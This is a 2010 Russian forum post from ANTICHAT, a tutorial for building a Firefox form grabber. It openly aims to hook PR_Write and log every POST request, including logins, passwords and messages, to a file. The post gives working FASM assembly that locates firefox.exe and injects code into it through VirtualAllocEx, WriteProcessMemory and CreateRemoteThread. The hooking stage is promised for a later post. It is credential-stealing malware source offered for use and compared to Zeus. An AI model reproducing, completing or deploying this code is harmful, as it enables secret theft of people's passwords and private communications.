ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
FormGrabber для FireFox своими руками. |

05.02.2010, 16:54
|
|
Новичок
Регистрация: 23.03.2008
Сообщений: 24
Провел на форуме: 126110
Репутация:
14
|
|
FormGrabber для FireFox своими руками.
>>>>>>>> Внимание!!! Текс находящийся ниже описывает неописуемо бородатый баян.<<<<<<<<
>>>>>>>>>>>>Осторожно. В тексте используется нецензурная лексика на языке Assembler<<<<<<<<<<<<
Здравствуйте, дорогие низкоуровневые и высокоинтеллектуальные товарищи. Сегодня расскажу Вам, как извлечь полезную информацию из горячо любимого всеми браузера FireFox, а именно собирать всё, что отправляется POST запросом (логины,пароли,сообщения на форумах и соц.сетях и т.д.) Вывод этого имущества будет производится в файл(у нас будет C:\FireFox.txt)
Создадим конкуренцию Зевсу вить у нас получится что-то типа хэнд мэйд модуля для Лисы причём без всяких DLL. Выбирал язык для этих целей с особым извращением. В итоге выбор пал на FASM.
Наша цель:
перехватить(хукнуть) функцию PR_Write, в которую передаются в качестве параметров GET и POST запросы, а так же много чего интересного. Функция находится в DLL модуле nspr4.dll Это всё было обнаружено путём сложных астрономических вычислений и с помощью утилы API Logger by black ninja.
Для осуществления цели нам понадобиться знания тем:
1)Инжект своего кода в исполняемый процесс.
2)Cплайсинг API.
3)И программирование в стиле шелл код.(т.е. с дельта смещением)
Желание читать куда-то быстро испарилось? Не беда. Все темы хорошо описаны на wasm.ru , поэтому не вижу смысла тратить время на копи-паст. Ну чтож приступим....
Начнём с зад... извините, с конца, как принято. =)
Код:
p_ent PROCESSENTRY32
find_target:
xor esi,esi
.shot:
mov [p_ent.dwSize],sizeof.PROCESSENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi; <<< Делаем снимок процессов.
inc eax
je .not_found
dec eax
xchg eax,edi
invoke Process32First,edi,p_ent ; <<< Берём первый процесс из списка.
; <<<<<<< Начинается перебор пока не найдём процесс под названием firefox.exe.>>>>>>>>>
.next_prc:
xchg eax,ecx
jecxz .not_found ; <<< В списке процессов имя FF не найдено поэтому прыгаем на .not_found
invoke lstrcmpi,p_ent.szExeFile,target_name ; <<< Сравнивание название процесса и переменная в которой лежит строка "firefox.exe".
xchg eax,ecx
jecxz .found ; <<< Если нашли прыгаем на метку .found
invoke Process32Next,edi,p_ent ; <<< Если строки не равны то берётся следующий процесс из списка.
jmp .next_prc
.found: ; <<< Вот она Лиса.
invoke CloseHandle,edi ; <<< Закрываем хэндл.
mov eax,[p_ent.th32ProcessID]; <<< Сохраняем ID процесса в eax.
ret
.not_found: ; <<< FF не найдена.
xor eax,eax ; <<< Обнуляем результат выполнения.
ret
; <<<<<<< Окончание поиска firefox.exe. >>>>>>>>>
; <<<<<<< Внедрение кода в процесс firefox.exe. >>>>>>>>>
inject_code:
xor esi,esi
invoke OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax; <<< Берём хэндл процесса FF.
xchg eax,ecx
jecxz .exit ; <<< Если ошибка то выходим.
xchg ecx,edi ; <<< Хэндл процесса перемещается в edi.
invoke VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE ; <<< Выделяем страничку памяти в процессе.
xchg eax,ecx
jecxz .close_h ; <<< Если неудача то закрываем хэндл.
xchg ecx,ebp ; <<< Хэндл странички перемещается в ebp.
invoke WriteProcessMemory,edi,ebp,remote_thread,thread_end-remote_thread,esi; <<< Пишем наш код на выделеную страничку.
;remote_thread - указатель на начало внедряемого кода, remote_thread соответствено конец.
dec eax
test eax,eax
jnz .close_h ; <<< Если неудача то закрываем хэндл.
inc eax
invoke CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi; <<< Бацаем удаленный поток в контексте процесса firefox.exe
.close_h:
invoke CloseHandle,edi ; <<< Освобождаем хэндл процесса.
.exit:
ret
; <<<<<<< Внедрение кода в процесс firefox.exe окончено. >>>>>>>>>
start: ; <<< Именно здесь начинает выполняться программа.
call find_target ; <<< Активизируем поиск процесса FF
test eax,eax
je .exit ; <<< Не нашли -> Выходим.
call inject_code; <<< Инжектимся в процесс FF.
.exit:
push 0
call [ExitProcess]; <<< The End... No!!! To be continue.
Последний раз редактировалось krenki; 05.02.2010 в 17:57..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|